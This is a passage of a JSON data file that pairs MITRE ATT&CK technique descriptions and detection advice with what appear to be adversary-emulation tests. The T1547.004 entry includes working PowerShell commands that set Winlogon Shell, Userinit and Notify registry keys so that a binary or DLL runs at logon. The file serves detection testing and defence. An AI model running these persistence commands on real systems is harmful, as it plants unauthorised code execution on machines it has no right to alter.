- "description": "Koromicha. (2019, September 7). Scheduling tasks using at command in Linux. Retrieved December 3, 2019."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": true,
- "description": "Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial, recurring, or future execution of malicious code. The [at](https://attack.mitre.org/software/S0110) command within Linux operating systems enables administrators to schedule tasks.(Citation: Kifarunix - Task Scheduling in Linux)\n\nAn adversary may use [at](https://attack.mitre.org/software/S0110) in Linux environments to execute programs at system startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.\n\nAdversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via sudo
.(Citation: GTFObins at)",
- "modified": "2022-04-16T20:45:01.814Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "At (Linux)",
- "x_mitre_detection": "Monitor scheduled task creation using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nReview all jobs using the atq
command and ensure IP addresses stored in the SSH_CONNECTION
and SSH_CLIENT
variables, machines that created the jobs, are trusted hosts. All [at](https://attack.mitre.org/software/S0110) jobs are stored in /var/spool/cron/atjobs/
.(Citation: rowland linux at 2019)\n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Process: Process Creation",
- "Scheduled Job: Scheduled Job Creation"
- ],
- "x_mitre_remote_support": true,
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1179": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--66f73398-8394-4711-85e5-34c8540b22a5",
- "type": "attack-pattern",
- "created": "2018-01-16T16:13:52.465Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "url": "https://attack.mitre.org/techniques/T1179",
- "external_id": "T1179",
- "source_name": "mitre-attack"
- },
- {
- "source_name": "Microsoft Hook Overview",
- "description": "Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017.",
- "url": "https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx"
- },
- {
- "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
- "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
- "source_name": "Elastic Process Injection July 2017"
- },
- {
- "source_name": "Adlice Software IAT Hooks Oct 2014",
- "description": "Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks. Retrieved December 12, 2017.",
- "url": "https://www.adlice.com/userland-rootkits-part-1-iat-hooks/"
- },
- {
- "source_name": "MWRInfoSecurity Dynamic Hooking 2015",
- "description": "Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User Mode. Retrieved December 20, 2017.",
- "url": "https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/"
- },
- {
- "source_name": "HighTech Bridge Inline Hooking Sept 2011",
- "description": "Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved December 12, 2017.",
- "url": "https://www.exploit-db.com/docs/17802.pdf"
- },
- {
- "source_name": "Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017",
- "description": "Microsoft. (2017, September 15). TrojanSpy:Win32/Ursnif.gen!I. Retrieved December 18, 2017.",
- "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanSpy:Win32/Ursnif.gen!I&threatId=-2147336918"
- },
- {
- "source_name": "Symantec Windows Rootkits",
- "description": "Symantec. (n.d.). Windows Rootkit Overview. Retrieved December 21, 2017.",
- "url": "https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf"
- },
- {
- "source_name": "Volatility Detecting Hooks Sept 2012",
- "description": "Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017.",
- "url": "https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html"
- },
- {
- "source_name": "PreKageo Winhook Jul 2011",
- "description": "Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017.",
- "url": "https://github.com/prekageo/winhook"
- },
- {
- "source_name": "Jay GetHooks Sept 2011",
- "description": "Satiro, J. (2011, September 14). GetHooks. Retrieved December 12, 2017.",
- "url": "https://github.com/jay/gethooks"
- },
- {
- "source_name": "Zairon Hooking Dec 2006",
- "description": "Felici, M. (2006, December 6). Any application-defined hook procedure on my machine?. Retrieved December 12, 2017.",
- "url": "https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/"
- },
- {
- "source_name": "EyeofRa Detecting Hooking June 2017",
- "description": "Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense against user-land. Retrieved December 12, 2017.",
- "url": "https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/"
- },
- {
- "source_name": "GMER Rootkits",
- "description": "GMER. (n.d.). GMER. Retrieved December 12, 2017.",
- "url": "http://www.gmer.net/"
- },
- {
- "source_name": "Microsoft Process Snapshot",
- "description": "Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved December 12, 2017.",
- "url": "https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx"
- },
- {
- "source_name": "StackExchange Hooks Jul 2012",
- "description": "Stack Exchange - Security. (2012, July 31). What are the methods to find hooked functions and APIs?. Retrieved December 12, 2017.",
- "url": "https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis"
- }
- ],
- "modified": "2020-11-10T18:29:30.516Z",
- "name": "Hooking",
- "description": "Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions. \n\nHooking involves redirecting calls to these functions and can be implemented via:\n\n* **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs. (Citation: Microsoft Hook Overview) (Citation: Elastic Process Injection July 2017)\n* **Import address table (IAT) hooking**, which use modifications to a process\u2019s IAT, where pointers to imported API functions are stored. (Citation: Elastic Process Injection July 2017) (Citation: Adlice Software IAT Hooks Oct 2014) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n* **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow. (Citation: Elastic Process Injection July 2017) (Citation: HighTech Bridge Inline Hooking Sept 2011) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), adversaries may use hooking to load and execute malicious code within the context of another process, masking the execution while also allowing access to the process's memory and possibly elevated privileges. Installing hooking mechanisms may also provide Persistence via continuous invocation when the functions are called through normal use.\n\nMalicious hooking mechanisms may also capture API calls that include parameters that reveal user authentication credentials for Credential Access. (Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017)\n\nHooking is commonly utilized by [Rootkit](https://attack.mitre.org/techniques/T1014)s to conceal files, processes, Registry keys, and other objects in order to hide malware and associated behaviors. (Citation: Symantec Windows Rootkits)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_detection": "Monitor for calls to the SetWindowsHookEx and SetWinEventHook functions, which install a hook procedure. (Citation: Microsoft Hook Overview) (Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools (Citation: Volatility Detecting Hooks Sept 2012) (Citation: PreKageo Winhook Jul 2011) (Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures. (Citation: Zairon Hooking Dec 2006) (Citation: EyeofRa Detecting Hooking June 2017)\n\nRootkits detectors (Citation: GMER Rootkits) can also be used to monitor for various flavors of hooking activity.\n\nVerify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes (Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions. (Citation: StackExchange Hooks Jul 2012) (Citation: Adlice Software IAT Hooks Oct 2014)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM"
- ]
- },
- "atomic_tests": []
- },
- "T1547.011": {
- "technique": {
- "x_mitre_platforms": [
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--6747daa2-3533-4e78-8fb8-446ebb86448a",
- "created": "2020-01-24T20:02:59.149Z",
- "x_mitre_version": "1.1",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1547.011",
- "url": "https://attack.mitre.org/techniques/T1547/011"
- },
- {
- "source_name": "fileinfo plist file description",
- "url": "https://fileinfo.com/extension/plist",
- "description": "FileInfo.com team. (2019, November 26). .PLIST File Extension. Retrieved October 12, 2021."
- },
- {
- "source_name": "wardle artofmalware volume1",
- "url": "https://taomm.org/vol1/pdfs.html",
- "description": "Patrick Wardle. (2020, August 5). The Art of Mac Malware Volume 0x1: Analysis. Retrieved March 19, 2021."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": true,
- "description": "Adversaries can modify property list files (plist files) to execute their code as part of establishing persistence. Plist files are used by macOS applications to store properties and configuration settings for applications and services. Applications use information plist files, Info.plist
, to tell the operating system how to handle the application at runtime using structured metadata in the form of keys and values. Plist files are formatted in XML and based on Apple's Core Foundation DTD and can be saved in text or binary format.(Citation: fileinfo plist file description) \n\nAdversaries can modify paths to executed binaries, add command line arguments, and insert key/pair values to plist files in auto-run locations which execute upon user logon or system startup. Through modifying plist files in these locations, adversaries can also execute a malicious dynamic library (dylib) by adding a dictionary containing the DYLD_INSERT_LIBRARIES
key combined with a path to a malicious dylib under the EnvironmentVariables
key in a plist file. Upon user logon, the plist is called for execution and the malicious dylib is executed within the process space. Persistence can also be achieved by modifying the LSEnvironment
key in the application's Info.plist
file.(Citation: wardle artofmalware volume1)",
- "modified": "2022-04-20T21:06:07.560Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Plist Modification",
- "x_mitre_detection": "Monitor for common command-line editors used to modify plist files located in auto-run locations, such as ~/LaunchAgents
, ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm
, and an application's Info.plist
. \n\nMonitor for plist file modification immediately followed by code execution from ~/Library/Scripts
and ~/Library/Preferences
. Also, monitor for significant changes to any path pointers in a modified plist.\n\nIdentify new services executed from plist modified in the previous user's session. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "File: File Modification",
- "Service: Service Creation",
- "Command: Command Execution",
- "Process: Process Creation"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1547.004": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Praetorian"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35",
- "created": "2020-01-24T16:59:59.688Z",
- "x_mitre_version": "1.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1547.004",
- "url": "https://attack.mitre.org/techniques/T1547/004"
- },
- {
- "source_name": "Cylance Reg Persistence Sept 2013",
- "url": "https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order",
- "description": "Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018."
- },
- {
- "source_name": "TechNet Autoruns",
- "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
- "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016."
- },
- {
- "url": "https://capec.mitre.org/data/definitions/579.html",
- "source_name": "capec",
- "external_id": "CAPEC-579"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\\Software[\\\\Wow6432Node\\\\]\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\
and HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\
are used to manage additional helper programs and functionalities that support Winlogon.(Citation: Cylance Reg Persistence Sept 2013) \n\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)\n\n* Winlogon\\Notify - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell executed when a user logs on\n\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish persistence.",
- "modified": "2022-04-20T16:32:14.691Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Boot or Logon Autostart Execution: Winlogon Helper DLL",
- "x_mitre_detection": "Monitor for changes to Registry entries associated with Winlogon that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns) New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious.\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Windows Registry: Windows Registry Key Modification",
- "Module: Module Load"
- ],
- "x_mitre_permissions_required": [
- "SYSTEM",
- "Administrator"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1547.004"
- },
- "atomic_tests": [
- {
- "name": "Winlogon Shell Key Persistence - PowerShell",
- "auto_generated_guid": "bf9f9d65-ee4d-4c3e-a843-777d04f19c38",
- "description": "PowerShell code to set Winlogon shell key to execute a binary at logon along with explorer.exe.\n\nUpon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "binary_to_execute": {
- "description": "Path of binary to execute",
- "type": "path",
- "default": "C:\\Windows\\System32\\cmd.exe"
- }
- },
- "executor": {
- "command": "Set-ItemProperty \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\" \"Shell\" \"explorer.exe, #{binary_to_execute}\" -Force\n",
- "cleanup_command": "Remove-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\" -Name \"Shell\" -Force -ErrorAction Ignore\n",
- "name": "powershell"
- }
- },
- {
- "name": "Winlogon Userinit Key Persistence - PowerShell",
- "auto_generated_guid": "fb32c935-ee2e-454b-8fa3-1c46b42e8dfb",
- "description": "PowerShell code to set Winlogon userinit key to execute a binary at logon along with userinit.exe.\n\nUpon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "binary_to_execute": {
- "description": "Path of binary to execute",
- "type": "path",
- "default": "C:\\Windows\\System32\\cmd.exe"
- }
- },
- "executor": {
- "command": "Set-ItemProperty \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\" \"Userinit\" \"Userinit.exe, #{binary_to_execute}\" -Force\n",
- "cleanup_command": "Remove-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\" -Name \"Userinit\" -Force -ErrorAction Ignore\n",
- "name": "powershell"
- }
- },
- {
- "name": "Winlogon Notify Key Logon Persistence - PowerShell",
- "auto_generated_guid": "d40da266-e073-4e5a-bb8b-2b385023e5f9",
- "description": "PowerShell code to set Winlogon Notify key to execute a notification package DLL at logon.\n\nUpon successful execution, PowerShell will modify a registry value to execute atomicNotificationPackage.dll upon logon/logoff.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "binary_to_execute": {
- "description": "Path of notification package to execute",
- "type": "path",
- "default": "C:\\Windows\\Temp\\atomicNotificationPackage.dll"
- }
- },
- "executor": {
- "command": "New-Item \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\" -Force\nSet-ItemProperty \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\" \"logon\" \"#{binary_to_execute}\" -Force\n",
- "cleanup_command": "Remove-Item \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\" -Force -ErrorAction Ignore\n",
- "name": "powershell"
- }
- },
- {
- "name": "Winlogon HKLM Shell Key Persistence - PowerShell",
- "auto_generated_guid": "95a3c42f-8c88-4952-ad60-13b81d929a9d",
- "description": "PowerShell code to set Winlogon shell key to execute a binary at logon along with explorer.exe.\n\nUpon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "binary_to_execute": {
- "description": "Path of binary to execute",
- "type": "path",
- "default": "C:\\Windows\\System32\\cmd.exe"
- }
- },
- "executor": {
- "command": "Set-ItemProperty \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\" \"Shell\" \"explorer.exe, #{binary_to_execute}\" -Force\n",
- "cleanup_command": "Remove-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\" -Name \"Shell\" -Force -ErrorAction Ignore\n",
- "name": "powershell"
- }
- },
- {
- "name": "Winlogon HKLM Userinit Key Persistence - PowerShell",
- "auto_generated_guid": "f9b8daff-8fa7-4e6a-a1a7-7c14675a545b",
- "description": "PowerShell code to set Winlogon userinit key to execute a binary at logon along with userinit.exe.\n\nUpon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "binary_to_execute": {
- "description": "Path of binary to execute",
- "type": "path",
- "default": "C:\\Windows\\System32\\cmd.exe"
- }
- },
- "executor": {
- "command": "Set-ItemProperty \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\" \"Userinit\" \"Userinit.exe, #{binary_to_execute}\" -Force\n",
- "cleanup_command": "Remove-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\" -Name \"Userinit\" -Force -ErrorAction Ignore\n",
- "name": "powershell"
- }
- }
- ]
- },
- "T1019": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Ryan Becwar",
- "McAfee"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--6856ddd6-2df3-4379-8b87-284603c189c3",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:28.613Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1019",
- "url": "https://attack.mitre.org/techniques/T1019"
- },
- {
- "external_id": "CAPEC-532",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/532.html"
- },
- {
- "url": "https://en.wikipedia.org/wiki/BIOS",
- "description": "Wikipedia. (n.d.). BIOS. Retrieved January 5, 2016.",
- "source_name": "Wikipedia BIOS"
- },
- {
- "url": "https://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface",
- "description": "Wikipedia. (2017, July 10). Unified Extensible Firmware Interface. Retrieved July 11, 2017.",
- "source_name": "Wikipedia UEFI"
- },
- {
- "url": "http://www.uefi.org/about",
- "description": "UEFI Forum. (n.d.). About UEFI Forum. Retrieved January 5, 2016.",
- "source_name": "About UEFI"
- },
- {
- "url": "http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research",
- "description": "Upham, K. (2014, March). Going Deep into the BIOS with MITRE Firmware Security Research. Retrieved January 5, 2016.",
- "source_name": "MITRE Trustworthy Firmware Measurement"
- },
- {
- "url": "http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about",
- "description": "Butterworth, J. (2013, July 30). Copernicus: Question Your Assumptions about BIOS Security. Retrieved December 11, 2015.",
- "source_name": "MITRE Copernicus"
- },
- {
- "url": "https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/",
- "description": "Beek, C., Samani, R. (2017, March 8). CHIPSEC Support Against Vault 7 Disclosure Scanning. Retrieved March 13, 2017.",
- "source_name": "McAfee CHIPSEC Blog"
- },
- {
- "url": "https://github.com/chipsec/chipsec",
- "description": "Intel. (2017, March 18). CHIPSEC Platform Security Assessment Framework. Retrieved March 20, 2017.",
- "source_name": "Github CHIPSEC"
- },
- {
- "url": "http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html",
- "description": "Intel Security. (2005, July 16). HackingTeam's UEFI Rootkit Details. Retrieved March 20, 2017.",
- "source_name": "Intel HackingTeam UEFI Rootkit"
- }
- ],
- "modified": "2020-03-30T19:16:29.473Z",
- "name": "System Firmware",
- "description": "The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI)\n\nSystem firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "System firmware manipulation may be detected. (Citation: MITRE Trustworthy Firmware Measurement) Dump and inspect BIOS images on vulnerable systems and compare against known good images. (Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior.\n\nLikewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed. (Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit)",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM"
- ]
- },
- "atomic_tests": []
- },
- "T1042": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Stefan Kanthak",
- "Travis Smith, Tripwire"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--68c96494-1a50-403e-8844-69a6af278c68",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:42.222Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1042",
- "url": "https://attack.mitre.org/techniques/T1042"
- },
- {
- "external_id": "CAPEC-556",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/556.html"
- },
- {
- "url": "https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs",
- "description": "Microsoft. (n.d.). Change which programs Windows 7 uses by default. Retrieved July 26, 2016.",
- "source_name": "Microsoft Change Default Programs"
- },
- {
- "url": "http://msdn.microsoft.com/en-us/library/bb166549.aspx",
- "description": "Microsoft. (n.d.). Specifying File Handlers for File Name Extensions. Retrieved November 13, 2014.",
- "source_name": "Microsoft File Handlers"
- },
- {
- "url": "https://docs.microsoft.com/windows-server/administration/windows-commands/assoc",
- "description": "Plett, C. et al.. (2017, October 15). assoc. Retrieved August 7, 2018.",
- "source_name": "Microsoft Assoc Oct 2017"
- },
- {
- "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd",
- "description": "Sioting, S. (2012, October 8). TROJ_FAKEAV.GZD. Retrieved August 8, 2018.",
- "source_name": "TrendMicro TROJ-FAKEAV OCT 2012"
- }
- ],
- "modified": "2020-01-24T13:41:32.520Z",
- "name": "Change Default File Association",
- "description": "When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access (Citation: Microsoft Change Default Programs) (Citation: Microsoft File Handlers) or by administrators using the built-in assoc utility. (Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n\nSystem file associations are listed under HKEY_CLASSES_ROOT\\.[extension]
, for example HKEY_CLASSES_ROOT\\.txt
. The entries point to a handler for that extension located at HKEY_CLASSES_ROOT\\[handler]
. The various commands are then listed as subkeys underneath the shell key at HKEY_CLASSES_ROOT\\[handler]\\shell\\[action]\\command
. For example:\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command
\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command
\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command
\n\nThe values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands. (Citation: TrendMicro TROJ-FAKEAV OCT 2012)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process. \n\nUser file association preferences are stored under [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts
and override associations configured under [HKEY_CLASSES_ROOT]
. Changes to a user's preference will occur under this entry's subkeys.\n\nAlso look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "User",
- "Administrator",
- "SYSTEM"
- ]
- },
- "atomic_tests": []
- },
- "T1164": {
- "technique": {
- "x_mitre_platforms": [
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--6a3be63a-64c5-4678-a036-03ff8fc35300",
- "type": "attack-pattern",
- "created": "2017-12-14T16:46:06.044Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1164",
- "url": "https://attack.mitre.org/techniques/T1164"
- },
- {
- "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
